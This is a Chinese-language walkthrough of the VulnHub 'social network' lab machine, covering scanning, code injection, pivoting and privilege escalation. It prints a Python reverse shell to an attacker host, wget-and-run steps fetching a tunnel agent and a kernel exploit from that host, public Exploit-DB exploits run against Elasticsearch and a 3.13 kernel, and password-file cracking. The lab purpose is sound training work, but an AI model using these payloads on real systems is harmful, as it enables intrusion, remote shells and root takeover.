靶機說明
1)靶機地址:
https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
2)難度:中等
3)虛擬機軟體推薦:virtualBox
4)本次涉及攻擊手段:主機發現、埠掃描、服務發現、路徑爬取、代碼注入、Shell腳本、內網資訊收集、內網穿透、漏洞利用、密碼破解、本地提權、攻擊代碼修改
打靶程序
1)因靶機與kali主機都處于同網段僅主機模式,所以主機發現,首選二層主機發現工具arp-scan
# arp-scan -l

2)對發現的主機進行全埠掃描:發現開放了22
# nmap -p- 192.168.56.107

3)對發現的埠進行服務發現,因為并不能確定上述兩個埠上面運行的是什么服務、服務版本
# nmap -p22,5000 -sV 192.168.56.107
?通過掃描發現5000埠上運行了一個httpd的web服務,且使用了基于python開發的werkzeug底層web框架,且目標系統使用的python版本是2.7.15

4)通過訪問掃描到的web頁面
http://10.0.2.17:5000

通過檢查該頁面無任何漏洞
5)對網站進行常規操作:對web應用程式路徑進行發現,因為web應用程式常常在內部會包含一些隱藏的路徑或隱藏的頁面,這些隱藏頁面或隱藏路徑可能存在可以輸入資料的函式的提交點
# dirsearch http://10.0.2.17:5000

發現了一個/admin的路徑
6)對發現的路徑進行訪問:訪問后發現是一個管理界面,該界面可以進行代碼的執行,即輸入框中輸入的內容都會被交給exec()函式去執行
http://10.0.2.17:5000/admin
注:如果web應用程式過濾不嚴格,可以對輸入的代碼過濾不嚴格,可以利用代碼執行的功能直接執行一個反彈shell的操作

7)通過前面掃描發現該網站是通過python開發的,所以此時可以使用python的代碼執行功能,向表單中注入python代碼來觸發一個反彈的shell
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.2.7",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
代碼含義:通過匯入系統默認的函式庫,通過這些庫去反彈連接kali:10.0.2.7主機的4444埠,通過這個連接,最后執行/bin/sh

8)在kali主機進行監聽4444埠
#nc -lvvp 4444

9)雖然 上面獲取到了root權限,但是因存在dockerfile檔案(標準化部署docker容器的模板檔案),由此可懷疑上述獲取的系統只是一個docker容器的系統
#cat Dockerfile

10)100%確定該系統是一個docker容器運行的系統,
①查看根目錄下是否存在dockerenv檔案,存在90%說明是一個docker容器系統

②查看/proc/1/cgroup下是否有類似如下檔案,如果有說明一定是一個容器系統,因為linux系統啟動之后,pid為1表示該計算機系統上的初始化行程的ID,當初始化行程的cgroup檔案包含著明確的docker鏡像主機的指示資訊,則100%可證明當前系統是一個docker容器,而且docker容器的hash值就是一長串字符

注:判斷獲取的系統權限是docker容器后,需要從docker容器當前隔離的環境下突破出來,找到宿主機,在對宿主機漏洞的利用拿到宿主機的最高權限
11)先查看當前docker容器的IP地址

此時可以將docker容器所處的網段視為當前這個網路中的內網網段,既然有內網網段,就可以在該內網網段中進一步發現該內網中有沒有其他主機?如果存在其他主機,那會不會存在一些已知的漏洞?可不可以利用這些漏洞?進一步獲得已知的資訊,攻擊更多的內網系統?
12)內網主機發現
①最簡單方法:一個一個ping
②利用腳本,對內網主機進行掃描:先定義一個序列,在利用回圈進行掃描,此處只掃描10個IP,對每一個IP發生一個ping包
# for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done

發現了在內網主機發現了兩個IP:172.17.0.1、172.17.0.2,此時對上述兩個主機進行埠掃描,
問題:但是該網路處于一個內網網段,直接通過kali中的攻擊工具對內網網段進行掃描網路不可達,要解決該問題,需要使用一種內網穿透技術,把kali到內網的路由打通
13)此處使用venom工具,在內網和kali主機之間建立一條隧道,基于該隧道生成一個代理,讓其他工具可以通過代理去掃描內網主機

14)先將venom的客戶端程式,傳輸到目標主機運行,再執行服務端程式,使得目標主機和kali主機之間建立一條隧道
①服務端:先在kali主機啟動一個httpd的web服務
# cd Venom.v1.1.0/
# cp agent_linux_x64 a
# python3 -m http.server 80
# ./admin_linux_x64 -lport 9999

②客戶端:獲取客戶端程式
#wget http://10.0.2.7/a
#chmod +x a
#./a -rhost 10.0.2.7 -rport 9999


14)連接成功后,在服務端中進入節點,并在該節點啟動一個socks的監聽
>>>show
>>>goto 1
>>>socks 1080

15)為了使得kali主機上的所以工具都可以掛代理訪問內網,需要使用proxychains工具,利用proxychains工具掛載配置的socks代理,讓kali工具都可以利用該代理去攻擊內網主機
#vim /ect/proxychains4.conf
[ProxyList]
socks5 127.0.0.1 1080

16)對內網進行掃描
①先對172.17.0.1進行掃描
# proxychains nmap -Pn -sT 172.17.0.1

發現該主機開發埠和最先掃描的靶機10.0.2.17的埠一致,此時對該主機的埠進行服務版本的掃描
# proxychains nmap -p22,5000 -sV -Pn -sT 172.17.0.1

在瀏覽器使用帶來,對該內網地址進行訪問,發現和訪問10.0.2.17的結果一模一樣


總結:根據以上發現,說明172.17.0.1就是10.0.2.17這臺宿主機,只不過172.17.0.1是面向容器內網的IP地址,所以 該主機就是我們要攻擊的目標主機
②對172.17.0.2進行埠掃描:發現了9200埠,該埠是elasticsearch的默認埠
#proxychains nmap -Pn -sT 172.17.0.2

對172.17.0.2的9200埠運行的服務進行掃描
#proxychains nmap -Pn -St -p9200 -sV 172.17.0.2

通過掃描發現9200運行的服務確實是Elasticsearch,且版本為1.4.2,Elasticsearch在歷史版本上曾經出現過很嚴重的漏洞(RCE漏洞),此處可以懷疑該版本是否存在漏洞?如果存在漏洞又怎么利用?
17)在kali上搜索elasticsearch關鍵詞
# searchsploit Elasticsearch

18)將前兩個漏洞利用代碼拷貝下來,按個嘗試,執行完畢后,又發現獲取到了一個root權限
# cp /usr/share/exploitdb/exploits/linux/remote/36337.py ./
# proxychains python2 36337.py 172.17.0.2

19)在其根目錄下,發現了一個passwords檔案,查看其檔案內容
#cd /
#ls
#cat passwords

20)對上述密碼hash值對其進行解密
21)利用ssh對剛才獲取到的用戶名和密碼進行登錄
#ssh [email protected]

22)查看能否提示sudo權限,該用戶沒有任何sudo權限
$ sudo -s

23)通過之前發現該系統的內核為3.13

24)嘗試利用內核漏洞進行提權,先搜索3.13,出現很多漏洞利用代碼,挑選其中一個復制到本地
# searchsploit 3.13
#cp /usr/share/exploitdb/exploits/linux/local/37292.c ./

25)簡單查看代碼發現,該利用代碼需要gcc編譯,且在利用程序中同樣需要gcc,但是在目標系統中是沒有安裝gcc的,所以即使在kali主機將代碼編譯后,業務發在目標主機正常運行

?上述原始碼中再次呼叫了gcc去查找到另外一個C語言的庫檔案/tmp/ofs-lib.c,再將該庫檔案編譯成對應的/tmp/ofs-lib.so檔案,然后在整個的漏洞利用程序中,再次加載ofs-lib.so檔案

26)此時需要對代碼進行簡單修改:在kali中直接找到二進制的庫檔案ofs-lib.so,然后修改原始碼,當執行到該位置的時候,不在需要通過gcc去編譯,而是直接呼叫庫檔案
# vim 37292.c

17)在kali直接編譯37292.c檔案,編譯生成exp檔案
# gcc -o exp 37292.c

18)在kali主機找當ofs-lib.so庫檔案
# locate ofs-lib.so
# cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so ./
19)將exp和ofs-lib.so檔案下載到目標主機
①先在kali主機啟動httpd服務
# python3 -m http.server 80
②在目標主機下載檔案,并執行
#wget http://10.0.2.7/exp
#wget http://10.0.2.7/ofs-lib.so
#mv * /tmp
#cd /tmp
#chmod +x exp
#./exp
#id

總結:面對靶機,先進行了主機發現,之后針對已經發現的主機進行了埠掃描以及服務的掃描,當掃描結束之后,發現目標主機存在5000埠的web應用,嘗試訪問web應用,在web應用下沒有識訓任何漏洞,之后對web應用進行路徑發現,發現了一個/admin的后臺頁面,在該后臺地址發現了遠程代碼執行漏洞,利用反彈shell獲取到了一個root權限,但是該root權限是一個容器系統,然后基于該容器系統對其內網的Ip地址段進行發現,發現程序中,識別出兩個內網主機的IP地址,之后掛取代理進行內網穿透,對這兩個地址進行全埠掃描,在掃描程序中,發現了在一臺主機上發現了9000埠,該埠是Elasticserch的默認埠,又都Elasticserch進行漏洞的利用和攻擊,成功拿下了172.17.0.2這臺主機,在這臺主機中發現了passwords這個檔案,對其進行解密后,利用發現的用戶名和密碼對目標主機進行嘗試登錄,登錄后發現只是一個普通用戶權限,因目標主機使用的是內核較老的linux發行版,所以此時使用最直接的提權方法:針對內核的提權,但是漏洞利用代碼無法直接在目標系統進行gcc的編譯,所以只能修改代碼,重新編譯,然后將編譯后的代碼和庫檔案一起傳輸的目標系統,然后進行提權,獲取到root權限
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/538365.html
標籤:其他
